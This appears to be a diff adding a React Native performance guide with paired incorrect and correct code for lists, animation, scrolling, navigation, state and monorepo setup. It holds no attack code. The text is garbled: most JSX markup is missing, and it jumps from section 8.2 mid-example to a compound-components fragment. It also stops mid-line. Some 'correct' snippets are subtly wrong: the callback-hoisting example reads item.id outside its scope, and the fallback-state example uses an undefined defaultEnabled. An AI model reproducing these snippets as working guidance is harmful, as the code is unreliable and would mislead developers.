every render, breaking memoization. Pass primitive + +values directly from `item` instead. + +**Incorrect: inline object breaks memoization** + +```tsx +function UserList({ users }: { users: User[] }) { + return ( + ( + + )} + /> + ) +} +``` + +**Incorrect: inline style object** + +```tsx +renderItem={({ item }) => ( + +)} +``` + +**Correct: pass item directly or primitives** + +```tsx +function UserList({ users }: { users: User[] }) { + return ( + ( + // Good: pass the item directly + + )} + /> + ) +} +``` + +**Correct: pass primitives, derive inside child** + +```tsx +renderItem={({ item }) => ( + +)} + +const UserRow = memo(function UserRow({ id, name, isActive }: Props) { + // Good: derive style inside memoized component + const backgroundColor = isActive ? 'green' : 'gray' + return {/* ... */} +}) +``` + +**Correct: hoist static styles in module scope** + +```tsx +const activeStyle = { backgroundColor: 'green' } +const inactiveStyle = { backgroundColor: 'gray' } + +renderItem={({ item }) => ( + +)} +``` + +Passing primitives or stable references allows `memo()` to skip re-renders when + +the actual values haven't changed. + +**Note:** If you have the React Compiler enabled, it handles memoization + +automatically and these manual optimizations become less critical. + +### 2.2 Hoist callbacks to the root of lists + +**Impact: MEDIUM (Fewer re-renders and faster lists)** + +When passing callback functions to list items, create a single instance of the + +callback at the root of the list. Items should then call it with a unique + +identifier. + +**Incorrect: creates a new callback on each render** + +```typescript +return ( + { + // bad: creates a new callback on each render + const onPress = () => handlePress(item.id) + return + }} + /> +) +``` + +**Correct: a single function instance passed to each item** + +```typescript +const onPress = useCallback(() => handlePress(item.id), [handlePress, item.id]) + +return ( + ( + + )} + /> +) +``` + +Reference: [https://example.com](https://example.com) + +### 2.3 Keep List Items Lightweight + +**Impact: HIGH (reduces render time for visible items during scroll)** + +List items should be as inexpensive as possible to render. Minimize hooks, avoid + +queries, and limit React Context access. Virtualized lists render many items + +during scroll—expensive items cause jank. + +**Incorrect: heavy list item** + +```tsx +function ProductRow({ id }: { id: string }) { + // Bad: query inside list item + const { data: product } = useQuery(['product', id], () => fetchProduct(id)) + // Bad: multiple context accesses + const theme = useContext(ThemeContext) + const user = useContext(UserContext) + const cart = useContext(CartContext) + // Bad: expensive computation + const recommendations = useMemo( + () => computeRecommendations(product), + [product] + ) + + return {/* ... */} +} +``` + +**Correct: lightweight list item** + +```tsx +function ProductRow({ name, price, imageUrl }: Props) { + // Good: receives only primitives, minimal hooks + return ( + + + {name} + {price} + + ) +} +``` + +**Move data fetching to parent:** + +```tsx +// Parent fetches all data once +function ProductList() { + const { data: products } = useQuery(['products'], fetchProducts) + + return ( + ( + + )} + /> + ) +} +``` + +**For shared values, use Zustand selectors instead of Context:** + +```tsx +// Incorrect: Context causes re-render when any cart value changes +function ProductRow({ id, name }: Props) { + const { items } = useContext(CartContext) + const inCart = items.includes(id) + // ... +} + +// Correct: Zustand selector only re-renders when this specific value changes +function ProductRow({ id, name }: Props) { + // use Set.has (created once at the root) instead of Array.includes() + const inCart = useCartStore((s) => s.items.has(id)) + // ... +} +``` + +**Guidelines for list items:** + +- No queries or data fetching + +- No expensive computations (move to parent or memoize at parent level) + +- Prefer Zustand selectors over React Context + +- Minimize useState/useEffect hooks + +- Pass pre-computed values as props + +The goal: list items should be simple rendering functions that take props and + +return JSX. + +### 2.4 Optimize List Performance with Stable Object References + +**Impact: CRITICAL (virtualization relies on reference stability)** + +Don't map or filter data before passing to virtualized lists. Virtualization + +relies on object reference stability to know what changed—new references cause + +full re-renders of all visible items. Attempt to prevent frequent renders at the + +list-parent level. + +Where needed, use context selectors within list items. + +**Incorrect: creates new object references on every keystroke** + +```tsx +function DomainSearch() { + const { keyword, setKeyword } = useKeywordZustandState() + const { data: tlds } = useTlds() + + // Bad: creates new objects on every render, reparenting the entire list on every keystroke + const domains = tlds.map((tld) => ({ + domain: `${keyword}.${tld.name}`, + tld: tld.name, + price: tld.price, + })) + + return ( + <> + + } + /> + + ) +} +``` + +**Correct: stable references, transform inside items** + +```tsx +const renderItem = ({ item }) => + +function DomainSearch() { + const { data: tlds } = useTlds() + + return ( + + ) +} + +function DomainItem({ tld }: { tld: Tld }) { + // good: transform within items, and don't pass the dynamic data as a prop + // good: use a selector function from zustand to receive a stable string back + const domain = useKeywordZustandState((s) => s.keyword + '.' + tld.name) + return {domain} +} +``` + +**Updating parent array reference:** + +```tsx +// good: creates a new array instance without mutating the inner objects +// good: parent array reference is unaffected by typing and updating "keyword" +const sortedTlds = tlds.toSorted((a, b) => a.name.localeCompare(b.name)) + +return +``` + +Creating a new array instance can be okay, as long as its inner object + +references are stable. For instance, if you sort a list of objects: + +Even though this creates a new array instance `sortedTlds`, the inner object + +references are stable. + +**With zustand for dynamic data: avoids parent re-renders** + +```tsx +function DomainItemFavoriteButton({ tld }: { tld: Tld }) { + const isFavorited = useFavoritesStore((s) => s.favorites.has(tld.id)) + return +} +``` + +Virtualization can now skip items that haven't changed when typing. Only visible + +items (~20) re-render on keystroke, rather than the parent. + +**Deriving state within list items based on parent data (avoids parent + +re-renders):** + +For components where the data is conditional based on the parent state, this + +pattern is even more important. For example, if you are checking if an item is + +favorited, toggling favorites only re-renders one component if the item itself + +is in charge of accessing the state rather than the parent: + +Note: if you're using the React Compiler, you can read React Context values + +directly within list items. Although this is slightly slower than using a + +Zustand selector in most cases, the effect may be negligible. + +### 2.5 Pass Primitives to List Items for Memoization + +**Impact: HIGH (enables effective memo() comparison)** + +When possible, pass only primitive values (strings, numbers, booleans) as props + +to list item components. Primitives enable shallow comparison in `memo()` to + +work correctly, skipping re-renders when values haven't changed. + +**Incorrect: object prop requires deep comparison** + +```tsx +type User = { id: string; name: string; email: string; avatar: string } + +const UserRow = memo(function UserRow({ user }: { user: User }) { + // memo() compares user by reference, not value + // If parent creates new user object, this re-renders even if data is same + return {user.name} +}) + +renderItem={({ item }) => } +``` + +This can still be optimized, but it is harder to memoize properly. + +**Correct: primitive props enable shallow comparison** + +```tsx +const UserRow = memo(function UserRow({ + id, + name, + email, +}: { + id: string + name: string + email: string +}) { + // memo() compares each primitive directly + // Re-renders only if id, name, or email actually changed + return {name} +}) + +renderItem={({ item }) => ( + +)} +``` + +**Pass only what you need:** + +```tsx +// Incorrect: passing entire item when you only need name + + +// Correct: pass only the fields the component uses + +``` + +**For callbacks, hoist or use item ID:** + +```tsx +// Incorrect: inline function creates new reference + handlePress(item.id)} /> + +// Correct: pass ID, handle in child + + +const UserRow = memo(function UserRow({ id, name }: Props) { + const handlePress = useCallback(() => { + // use id here + }, [id]) + return {name} +}) +``` + +Primitive props make memoization predictable and effective. + +**Note:** If you have the React Compiler enabled, you do not need to use + +`memo()` or `useCallback()`, but the object references still apply. + +### 2.6 Use a List Virtualizer for Any List + +**Impact: HIGH (reduced memory, faster mounts)** + +Use a list virtualizer like LegendList or FlashList instead of ScrollView with + +mapped children—even for short lists. Virtualizers only render visible items, + +reducing memory usage and mount time. ScrollView renders all children upfront, + +which gets expensive quickly. + +**Incorrect: ScrollView renders all items at once** + +```tsx +function Feed({ items }: { items: Item[] }) { + return ( + + {items.map((item) => ( + + ))} + + ) +} +// 50 items = 50 components mounted, even if only 10 visible +``` + +**Correct: virtualizer renders only visible items** + +```tsx +import { LegendList } from '@legendapp/list' + +function Feed({ items }: { items: Item[] }) { + return ( + } + keyExtractor={(item) => item.id} + estimatedItemSize={80} + /> + ) +} +// Only ~10-15 visible items mounted at a time +``` + +**Alternative: FlashList** + +```tsx +import { FlashList } from '@shopify/flash-list' + +function Feed({ items }: { items: Item[] }) { + return ( + } + keyExtractor={(item) => item.id} + /> + ) +} +``` + +Benefits apply to any screen with scrollable content—profiles, settings, feeds, + +search results. Default to virtualization. + +### 2.7 Use Compressed Images in Lists + +**Impact: HIGH (faster load times, less memory)** + +Always load compressed, appropriately-sized images in lists. Full-resolution + +images consume excessive memory and cause scroll jank. Request thumbnails from + +your server or use an image CDN with resize parameters. + +**Incorrect: full-resolution images** + +```tsx +function ProductItem({ product }: { product: Product }) { + return ( + + {/* 4000x3000 image loaded for a 100x100 thumbnail */} + + {product.name} + + ) +} +``` + +**Correct: request appropriately-sized image** + +```tsx +function ProductItem({ product }: { product: Product }) { + // Request a 200x200 image (2x for retina) + const thumbnailUrl = `${product.imageUrl}?w=200&h=200&fit=cover` + + return ( + + + {product.name} + + ) +} +``` + +Use an optimized image component with built-in caching and placeholder support, + +such as `expo-image` or `SolitoImage` (which uses `expo-image` under the hood). + +Request images at 2x the display size for retina screens. + +### 2.8 Use Item Types for Heterogeneous Lists + +**Impact: HIGH (efficient recycling, less layout thrashing)** + +When a list has different item layouts (messages, images, headers, etc.), use a + +`type` field on each item and provide `getItemType` to the list. This puts items + +into separate recycling pools so a message component never gets recycled into an + +image component. + +[LegendList getItemType](https://legendapp.com/open-source/list/api/props/#getitemtype-v2) + +**Incorrect: single component with conditionals** + +```tsx +type Item = { id: string; text?: string; imageUrl?: string; isHeader?: boolean } + +function ListItem({ item }: { item: Item }) { + if (item.isHeader) { + return + } + if (item.imageUrl) { + return + } + return +} + +function Feed({ items }: { items: Item[] }) { + return ( + } + recycleItems + /> + ) +} +``` + +**Correct: typed items with separate components** + +```tsx +type HeaderItem = { id: string; type: 'header'; title: string } +type MessageItem = { id: string; type: 'message'; text: string } +type ImageItem = { id: string; type: 'image'; url: string } +type FeedItem = HeaderItem | MessageItem | ImageItem + +function Feed({ items }: { items: FeedItem[] }) { + return ( + item.id} + getItemType={(item) => item.type} + renderItem={({ item }) => { + switch (item.type) { + case 'header': + return + case 'message': + return + case 'image': + return + } + }} + recycleItems + /> + ) +} +``` + +**Why this matters:** + +```tsx + item.id} + getItemType={(item) => item.type} + getEstimatedItemSize={(index, item, itemType) => { + switch (itemType) { + case 'header': + return 48 + case 'message': + return 72 + case 'image': + return 300 + default: + return 72 + } + }} + renderItem={({ item }) => { + /* ... */ + }} + recycleItems +/> +``` + +- **Recycling efficiency**: Items with the same type share a recycling pool + +- **No layout thrashing**: A header never recycles into an image cell + +- **Type safety**: TypeScript can narrow the item type in each branch + +- **Better size estimation**: Use `getEstimatedItemSize` with `itemType` for + + accurate estimates per type + +--- + +## 3. Animation + +**Impact: HIGH** + +GPU-accelerated animations, Reanimated patterns, and avoiding +render thrashing during gestures. + +### 3.1 Animate Transform and Opacity Instead of Layout Properties + +**Impact: HIGH (GPU-accelerated animations, no layout recalculation)** + +Avoid animating `width`, `height`, `top`, `left`, `margin`, or `padding`. These trigger layout recalculation on every frame. Instead, use `transform` (scale, translate) and `opacity` which run on the GPU without triggering layout. + +**Incorrect: animates height, triggers layout every frame** + +```tsx +import Animated, { useAnimatedStyle, withTiming } from 'react-native-reanimated' + +function CollapsiblePanel({ expanded }: { expanded: boolean }) { + const animatedStyle = useAnimatedStyle(() => ({ + height: withTiming(expanded ? 200 : 0), // triggers layout on every frame + overflow: 'hidden', + })) + + return {children} +} +``` + +**Correct: animates scaleY, GPU-accelerated** + +```tsx +import Animated, { useAnimatedStyle, withTiming } from 'react-native-reanimated' + +function CollapsiblePanel({ expanded }: { expanded: boolean }) { + const animatedStyle = useAnimatedStyle(() => ({ + transform: [ + { scaleY: withTiming(expanded ? 1 : 0) }, + ], + opacity: withTiming(expanded ? 1 : 0), + })) + + return ( + + {children} + + ) +} +``` + +**Correct: animates translateY for slide animations** + +```tsx +import Animated, { useAnimatedStyle, withTiming } from 'react-native-reanimated' + +function SlideIn({ visible }: { visible: boolean }) { + const animatedStyle = useAnimatedStyle(() => ({ + transform: [ + { translateY: withTiming(visible ? 0 : 100) }, + ], + opacity: withTiming(visible ? 1 : 0), + })) + + return {children} +} +``` + +GPU-accelerated properties: `transform` (translate, scale, rotate), `opacity`. Everything else triggers layout. + +### 3.2 Prefer useDerivedValue Over useAnimatedReaction + +**Impact: MEDIUM (cleaner code, automatic dependency tracking)** + +When deriving a shared value from another, use `useDerivedValue` instead of + +`useAnimatedReaction`. Derived values are declarative, automatically track + +dependencies, and return a value you can use directly. Animated reactions are + +for side effects, not derivations. + +[Reanimated useDerivedValue](https://docs.swmansion.com/react-native-reanimated/docs/core/useDerivedValue) + +**Incorrect: useAnimatedReaction for derivation** + +```tsx +import { useSharedValue, useAnimatedReaction } from 'react-native-reanimated' + +function MyComponent() { + const progress = useSharedValue(0) + const opacity = useSharedValue(1) + + useAnimatedReaction( + () => progress.value, + (current) => { + opacity.value = 1 - current + } + ) + + // ... +} +``` + +**Correct: useDerivedValue** + +```tsx +import { useSharedValue, useDerivedValue } from 'react-native-reanimated' + +function MyComponent() { + const progress = useSharedValue(0) + + const opacity = useDerivedValue(() => 1 - progress.get()) + + // ... +} +``` + +Use `useAnimatedReaction` only for side effects that don't produce a value + +(e.g., triggering haptics, logging, calling `runOnJS`). + +### 3.3 Use GestureDetector for Animated Press States + +**Impact: MEDIUM (UI thread animations, smoother press feedback)** + +For animated press states (scale, opacity on press), use `GestureDetector` with + +`Gesture.Tap()` and shared values instead of Pressable's + +`onPressIn`/`onPressOut`. Gesture callbacks run on the UI thread as worklets—no + +JS thread round-trip for press animations. + +[Gesture Handler Tap Gesture](https://docs.swmansion.com/react-native-gesture-handler/docs/gestures/tap-gesture) + +**Incorrect: Pressable with JS thread callbacks** + +```tsx +import { Pressable } from 'react-native' +import Animated, { + useSharedValue, + useAnimatedStyle, + withTiming, +} from 'react-native-reanimated' + +function AnimatedButton({ onPress }: { onPress: () => void }) { + const scale = useSharedValue(1) + + const animatedStyle = useAnimatedStyle(() => ({ + transform: [{ scale: scale.value }], + })) + + return ( + (scale.value = withTiming(0.95))} + onPressOut={() => (scale.value = withTiming(1))} + > + + Press me + + + ) +} +``` + +**Correct: GestureDetector with UI thread worklets** + +```tsx +import { Gesture, GestureDetector } from 'react-native-gesture-handler' +import Animated, { + useSharedValue, + useAnimatedStyle, + withTiming, + interpolate, + runOnJS, +} from 'react-native-reanimated' + +function AnimatedButton({ onPress }: { onPress: () => void }) { + // Store the press STATE (0 = not pressed, 1 = pressed) + const pressed = useSharedValue(0) + + const tap = Gesture.Tap() + .onBegin(() => { + pressed.set(withTiming(1)) + }) + .onFinalize(() => { + pressed.set(withTiming(0)) + }) + .onEnd(() => { + runOnJS(onPress)() + }) + + // Derive visual values from the state + const animatedStyle = useAnimatedStyle(() => ({ + transform: [ + { scale: interpolate(withTiming(pressed.get()), [0, 1], [1, 0.95]) }, + ], + })) + + return ( + + + Press me + + + ) +} +``` + +Store the press **state** (0 or 1), then derive the scale via `interpolate`. + +This keeps the shared value as ground truth. Use `runOnJS` to call JS functions + +from worklets. Use `.set()` and `.get()` for React Compiler compatibility. + +--- + +## 4. Scroll Performance + +**Impact: HIGH** + +Tracking scroll position without causing render thrashing. + +### 4.1 Never Track Scroll Position in useState + +**Impact: HIGH (prevents render thrashing during scroll)** + +Never store scroll position in `useState`. Scroll events fire rapidly—state + +updates cause render thrashing and dropped frames. Use a Reanimated shared value + +for animations or a ref for non-reactive tracking. + +**Incorrect: useState causes jank** + +```tsx +import { useState } from 'react' +import { + ScrollView, + NativeSyntheticEvent, + NativeScrollEvent, +} from 'react-native' + +function Feed() { + const [scrollY, setScrollY] = useState(0) + + const onScroll = (e: NativeSyntheticEvent) => { + setScrollY(e.nativeEvent.contentOffset.y) // re-renders on every frame + } + + return +} +``` + +**Correct: Reanimated for animations** + +```tsx +import Animated, { + useSharedValue, + useAnimatedScrollHandler, +} from 'react-native-reanimated' + +function Feed() { + const scrollY = useSharedValue(0) + + const onScroll = useAnimatedScrollHandler({ + onScroll: (e) => { + scrollY.value = e.contentOffset.y // runs on UI thread, no re-render + }, + }) + + return ( + + ) +} +``` + +**Correct: ref for non-reactive tracking** + +```tsx +import { useRef } from 'react' +import { + ScrollView, + NativeSyntheticEvent, + NativeScrollEvent, +} from 'react-native' + +function Feed() { + const scrollY = useRef(0) + + const onScroll = (e: NativeSyntheticEvent) => { + scrollY.current = e.nativeEvent.contentOffset.y // no re-render + } + + return +} +``` + +--- + +## 5. Navigation + +**Impact: HIGH** + +Using native navigators for stack and tab navigation instead of +JS-based alternatives. + +### 5.1 Use Native Navigators for Navigation + +**Impact: HIGH (native performance, platform-appropriate UI)** + +Always use native navigators instead of JS-based ones. Native navigators use + +platform APIs (UINavigationController on iOS, Fragment on Android) for better + +performance and native behavior. + +**For stacks:** Use `@react-navigation/native-stack` or expo-router's default + +stack (which uses native-stack). Avoid `@react-navigation/stack`. + +**For tabs:** Use `react-native-bottom-tabs` (native) or expo-router's native + +tabs. Avoid `@react-navigation/bottom-tabs` when native feel matters. + +- [React Navigation Native Stack](https://reactnavigation.org/docs/native-stack-navigator) + +- [React Native Bottom Tabs with React Navigation](https://oss.callstack.com/react-native-bottom-tabs/docs/guides/usage-with-react-navigation) + +- [React Native Bottom Tabs with Expo Router](https://oss.callstack.com/react-native-bottom-tabs/docs/guides/usage-with-expo-router) + +- [Expo Router Native Tabs](https://docs.expo.dev/router/advanced/native-tabs) + +**Incorrect: JS stack navigator** + +```tsx +import { createStackNavigator } from '@react-navigation/stack' + +const Stack = createStackNavigator() + +function App() { + return ( + + + + + ) +} +``` + +**Correct: native stack with react-navigation** + +```tsx +import { createNativeStackNavigator } from '@react-navigation/native-stack' + +const Stack = createNativeStackNavigator() + +function App() { + return ( + + + + + ) +} +``` + +**Correct: expo-router uses native stack by default** + +```tsx +// app/_layout.tsx +import { Stack } from 'expo-router' + +export default function Layout() { + return +} +``` + +**Incorrect: JS bottom tabs** + +```tsx +import { createBottomTabNavigator } from '@react-navigation/bottom-tabs' + +const Tab = createBottomTabNavigator() + +function App() { + return ( + + + + + ) +} +``` + +**Correct: native bottom tabs with react-navigation** + +```tsx +import { createNativeBottomTabNavigator } from '@bottom-tabs/react-navigation' + +const Tab = createNativeBottomTabNavigator() + +function App() { + return ( + + ({ sfSymbol: 'house' }), + }} + /> + ({ sfSymbol: 'gear' }), + }} + /> + + ) +} +``` + +**Correct: expo-router native tabs** + +```tsx +// app/(tabs)/_layout.tsx +import { NativeTabs } from 'expo-router/unstable-native-tabs' + +export default function TabLayout() { + return ( + + + Home + + + + Settings + + + + ) +} +``` + +On iOS, native tabs automatically enable `contentInsetAdjustmentBehavior` on the + +first `ScrollView` at the root of each tab screen, so content scrolls correctly + +behind the translucent tab bar. If you need to disable this, use + +`disableAutomaticContentInsets` on the trigger. + +**Incorrect: custom header component** + +```tsx + , + }} +/> +``` + +**Correct: native header options** + +```tsx + +``` + +Native headers support iOS large titles, search bars, blur effects, and proper + +safe area handling automatically. + +- **Performance**: Native transitions and gestures run on the UI thread + +- **Platform behavior**: Automatic iOS large titles, Android material design + +- **System integration**: Scroll-to-top on tab tap, PiP avoidance, proper safe + + areas + +- **Accessibility**: Platform accessibility features work automatically + +--- + +## 6. React State + +**Impact: MEDIUM** + +Patterns for managing React state to avoid stale closures and +unnecessary re-renders. + +### 6.1 Minimize State Variables and Derive Values + +**Impact: MEDIUM (fewer re-renders, less state drift)** + +Use the fewest state variables possible. If a value can be computed from existing state or props, derive it during render instead of storing it in state. Redundant state causes unnecessary re-renders and can drift out of sync. + +**Incorrect: redundant state** + +```tsx +function Cart({ items }: { items: Item[] }) { + const [total, setTotal] = useState(0) + const [itemCount, setItemCount] = useState(0) + + useEffect(() => { + setTotal(items.reduce((sum, item) => sum + item.price, 0)) + setItemCount(items.length) + }, [items]) + + return ( + + {itemCount} items + Total: ${total} + + ) +} +``` + +**Correct: derived values** + +```tsx +function Cart({ items }: { items: Item[] }) { + const total = items.reduce((sum, item) => sum + item.price, 0) + const itemCount = items.length + + return ( + + {itemCount} items + Total: ${total} + + ) +} +``` + +**Another example:** + +```tsx +// Incorrect: storing both firstName, lastName, AND fullName +const [firstName, setFirstName] = useState('') +const [lastName, setLastName] = useState('') +const [fullName, setFullName] = useState('') + +// Correct: derive fullName +const [firstName, setFirstName] = useState('') +const [lastName, setLastName] = useState('') +const fullName = `${firstName} ${lastName}` +``` + +State should be the minimal source of truth. Everything else is derived. + +Reference: [https://react.dev/learn/choosing-the-state-structure](https://react.dev/learn/choosing-the-state-structure) + +### 6.2 Use fallback state instead of initialState + +**Impact: MEDIUM (reactive fallbacks without syncing)** + +Use `undefined` as initial state and nullish coalescing (`??`) to fall back to + +parent or server values. State represents user intent only—`undefined` means + +"user hasn't chosen yet." This enables reactive fallbacks that update when the + +source changes, not just on initial render. + +**Incorrect: syncs state, loses reactivity** + +```tsx +type Props = { fallbackEnabled: boolean } + +function Toggle({ fallbackEnabled }: Props) { + const [enabled, setEnabled] = useState(defaultEnabled) + // If fallbackEnabled changes, state is stale + // State mixes user intent with default value + + return +} +``` + +**Correct: state is user intent, reactive fallback** + +```tsx +type Props = { fallbackEnabled: boolean } + +function Toggle({ fallbackEnabled }: Props) { + const [_enabled, setEnabled] = useState(undefined) + const enabled = _enabled ?? defaultEnabled + // undefined = user hasn't touched it, falls back to prop + // If defaultEnabled changes, component reflects it + // Once user interacts, their choice persists + + return +} +``` + +**With server data:** + +```tsx +function ProfileForm({ data }: { data: User }) { + const [_theme, setTheme] = useState(undefined) + const theme = _theme ?? data.theme + // Shows server value until user overrides + // Server refetch updates the fallback automatically + + return +} +``` + +### 6.3 useState Dispatch updaters for State That Depends on Current Value + +**Impact: MEDIUM (avoids stale closures, prevents unnecessary re-renders)** + +When the next state depends on the current state, use a dispatch updater + +(`setState(prev => ...)`) instead of reading the state variable directly in a + +callback. This avoids stale closures and ensures you're comparing against the + +latest value. + +**Incorrect: reads state directly** + +```tsx +const [size, setSize] = useState(undefined) + +const onLayout = (e: LayoutChangeEvent) => { + const { width, height } = e.nativeEvent.layout + // size may be stale in this closure + if (size?.width !== width || size?.height !== height) { + setSize({ width, height }) + } +} +``` + +**Correct: dispatch updater** + +```tsx +const [size, setSize] = useState(undefined) + +const onLayout = (e: LayoutChangeEvent) => { + const { width, height } = e.nativeEvent.layout + setSize((prev) => { + if (prev?.width === width && prev?.height === height) return prev + return { width, height } + }) +} +``` + +Returning the previous value from the updater skips the re-render. + +For primitive states, you don't need to compare values before firing a + +re-render. + +**Incorrect: unnecessary comparison for primitive state** + +```tsx +const [size, setSize] = useState(undefined) + +const onLayout = (e: LayoutChangeEvent) => { + const { width, height } = e.nativeEvent.layout + setSize((prev) => (prev === width ? prev : width)) +} +``` + +**Correct: sets primitive state directly** + +```tsx +const [size, setSize] = useState(undefined) + +const onLayout = (e: LayoutChangeEvent) => { + const { width, height } = e.nativeEvent.layout + setSize(width) +} +``` + +However, if the next state depends on the current state, you should still use a + +dispatch updater. + +**Incorrect: reads state directly from the callback** + +```tsx +const [count, setCount] = useState(0) + +const onTap = () => { + setCount(count + 1) +} +``` + +**Correct: dispatch updater** + +```tsx +const [count, setCount] = useState(0) + +const onTap = () => { + setCount((prev) => prev + 1) +} +``` + +--- + +## 7. State Architecture + +**Impact: MEDIUM** + +Ground truth principles for state variables and derived values. + +### 7.1 State Must Represent Ground Truth + +**Impact: HIGH (cleaner logic, easier debugging, single source of truth)** + +State variables—both React `useState` and Reanimated shared values—should + +represent the actual state of something (e.g., `pressed`, `progress`, `isOpen`), + +not derived visual values (e.g., `scale`, `opacity`, `translateY`). Derive + +visual values from state using computation or interpolation. + +**Incorrect: storing the visual output** + +```tsx +const scale = useSharedValue(1) + +const tap = Gesture.Tap() + .onBegin(() => { + scale.set(withTiming(0.95)) + }) + .onFinalize(() => { + scale.set(withTiming(1)) + }) + +const animatedStyle = useAnimatedStyle(() => ({ + transform: [{ scale: scale.get() }], +})) +``` + +**Correct: storing the state, deriving the visual** + +```tsx +const pressed = useSharedValue(0) // 0 = not pressed, 1 = pressed + +const tap = Gesture.Tap() + .onBegin(() => { + pressed.set(withTiming(1)) + }) + .onFinalize(() => { + pressed.set(withTiming(0)) + }) + +const animatedStyle = useAnimatedStyle(() => ({ + transform: [{ scale: interpolate(pressed.get(), [0, 1], [1, 0.95]) }], +})) +``` + +**Why this matters:** + +State variables should represent real "state", not necessarily a desired end + +result. + +1. **Single source of truth** — The state (`pressed`) describes what's + + happening; visuals are derived + +2. **Easier to extend** — Adding opacity, rotation, or other effects just + + requires more interpolations from the same state + +3. **Debugging** — Inspecting `pressed = 1` is clearer than `scale = 0.95` + +4. **Reusable logic** — The same `pressed` value can drive multiple visual + + properties + +**Same principle for React state:** + +```tsx +// Incorrect: storing derived values +const [isExpanded, setIsExpanded] = useState(false) +const [height, setHeight] = useState(0) + +useEffect(() => { + setHeight(isExpanded ? 200 : 0) +}, [isExpanded]) + +// Correct: derive from state +const [isExpanded, setIsExpanded] = useState(false) +const height = isExpanded ? 200 : 0 +``` + +State is the minimal truth. Everything else is derived. + +--- + +## 8. React Compiler + +**Impact: MEDIUM** + +Compatibility patterns for React Compiler with React Native and +Reanimated. + +### 8.1 Destructure Functions Early in Render (React Compiler) + +**Impact: HIGH (stable references, fewer re-renders)** + +This rule is only applicable if you are using the React Compiler. + +Destructure functions from hooks at the top of render scope. Never dot into + +objects to call functions. Destructured functions are stable references; dotting + +creates new references and breaks memoization. + +**Incorrect: dotting into object** + +```tsx +import { useRouter } from 'expo-router' + +function SaveButton(props) { + const router = useRouter() + + // bad: react-compiler will key the cache on "props" and "router", which are objects that change each render + const handlePress = () => { + props.onSave() + router.push('/success') // unstable reference + } + + return +} +``` + +**Correct: destructure early** + +```tsx +import { useRouter } from 'expo-router' + +function SaveButton({ onSave }) { + const { push } = useRouter() + + // good: react-compiler will key on push and onSave + const handlePress = () => { + onSave() + push('/success') // stable reference + } + + return +} +``` + +### 8.2 Use .get() and .set() for Reanimated Shared Values (not .value) + +**Impact: LOW (required for React Compiler compatibility)** + +With React Compiler enabled, use `.get()` and `.set()` instead of reading or + +writing `.value` directly on Reanimated shared values. The compiler can't track + +property access—explicit methods ensure correct behavior. + +**Incorrect: breaks with React Compiler** + +```tsx +import { useSharedValue } from 'react-native-reanimated' + +function Counter() { + const count = useSharedValue(0) + + const increment = () => { + count.value = count.value + 1 // opts out of react compiler + } + + return + +``` + +**Correct: compound components** + +```tsx +import { Pressable, Text } from 'react-native' + +function Button({ children }: { children: React.ReactNode }) { + return {children} +} + +function ButtonText({ children }: { children: React.ReactNode }) { + return {children} +} + +function ButtonIcon({ children }: { children: React.ReactNode }) { + return <>{children} +} + +// Usage is explicit and composable + + + +``` + +--- + +## 11. Monorepo + +**Impact: LOW** + +Dependency management and native module configuration in +monorepos. + +### 11.1 Install Native Dependencies in App Directory + +**Impact: CRITICAL (required for autolinking to work)** + +In a monorepo, packages with native code must be installed in the native app's + +directory directly. Autolinking only scans the app's `node_modules`—it won't + +find native dependencies installed in other packages. + +**Incorrect: native dep in shared package only** + +```typescript +packages/ + ui/ + package.json # has react-native-reanimated + app/ + package.json # missing react-native-reanimated +``` + +Autolinking fails—native code not linked. + +**Correct: native dep in app directory** + +```json +// packages/app/package.json +{ + "dependencies": { + "react-native-reanimated": "3.16.1" + } +} +``` + +Even if the shared package uses the native dependency, the app must also list it + +for autolinking to detect and link the native code. + +### 11.2 Use Single Dependency Versions Across Monorepo + +**Impact: MEDIUM (avoids duplicate bundles, version conflicts)** + +Use a single version of each dependency across all packages in your monorepo. + +Prefer exact versions over ranges. Multiple versions cause duplicate code in + +bundles, runtime conflicts, and inconsistent behavior across packages. + +Use a tool like syncpack to enforce this. As a last resort, use yarn resolutions + +or npm overrides. + +**Incorrect: version ranges, multiple versions** + +```json +// packages/app/package.json +{ + "dependencies": { + "react-native-reanimated": "^3.0.0" + } +} + +// packages/ui/package.json +{ + "dependencies": { + "react-native-reanimated": "^3.5.0" + } +} +``` + +**Correct: exact versions, single source of truth** + +```json +// package.json (root) +{ + "pnpm": { + "overrides": { + "react-native-reanimated": "3.16.1" + } + } +} + +// packages/app/package.json +{ + "dependencies": { + "react-native-reanimated": "3.16.1" + } +} + +// packages/ui/package.json +{ + "dependencies": { + "react-native-reanimated": "3.16.1" + } +} +``` + +Use your package manager's override/resolution feature to enforce versions at + +the root. When adding dependencies, specify exact versions without `^` or `~`. + +--- + +## 12. Third-Party Dependencies + +**Impact: LOW** + +Wrapping and re-exporting third-party dependencies for +maintainability. + +### 12.1 Import from Design System Folder + +**Impact: LOW (enables global changes and easy refactoring)** + +Re-export dependencies from a design system folder. App code imports from there, + +not directly from packages. This enables global changes and easy refactoring. + +**Incorrect: imports directly from package** + +```tsx +import { View, Text } from 'react-native' +import { Button } from '@ui/button' + +function Profile() { + return ( + + Hello + + + ) +} +``` + +**Correct: imports from design system** + +```tsx +import { View } from '@/components/view' +import { Text } from '@/components/text' +import { Button } from '@/components/button' + +function Profile() { + return ( + + Hello + + + ) +} +``` + +Start by simply re-exporting. Customize later without changing app code. + +--- + +## 13. JavaScript + +**Impact: LOW** + +Micro-optimizations like hoisting expensive object creation. + +### 13.1 Hoist Intl Formatter Creation + +**Impact: LOW-MEDIUM (avoids expensive object recreation)** + +Don't create `Intl.DateTimeFormat`, `Intl.NumberFormat`, or + +`Intl.RelativeTimeFormat` inside render or loops. These are expensive to + +instantiate. Hoist to module scope when the locale/options are static. + +**Incorrect: new formatter every render** + +```tsx +function Price({ amount }: { amount: number }) { + const formatter = new Intl.NumberFormat('en-US', { + style: 'currency', + currency: 'USD', + }) + return {formatter.format(amount)} +} +``` + +**Correct: hoisted to module scope** + +```tsx +const currencyFormatter = new Intl.NumberFormat('en-US', { + style: 'currency', + currency: 'USD', +}) + +function Price({ amount }: { amount: number }) { + return {currencyFormatter.format(amount)} +} +``` + +**For dynamic locales, memoize:** + +```tsx +const dateFormatter = useMemo( + () => new Intl.DateTimeFormat(locale, { dateStyle: 'medium' }), + [locale] +) +``` + +**Common formatters to hoist:** + +```tsx +// Module-level formatters +const dateFormatter = new Intl.DateTimeFormat('en-US', { dateStyle: 'medium' }) +const timeFormatter = new Intl.DateTimeFormat('en-US', { timeStyle: 'short' }) +const percentFormatter = new Intl.NumberFormat('en-US', { style: 'percent' }) +const relativeFormatter = new 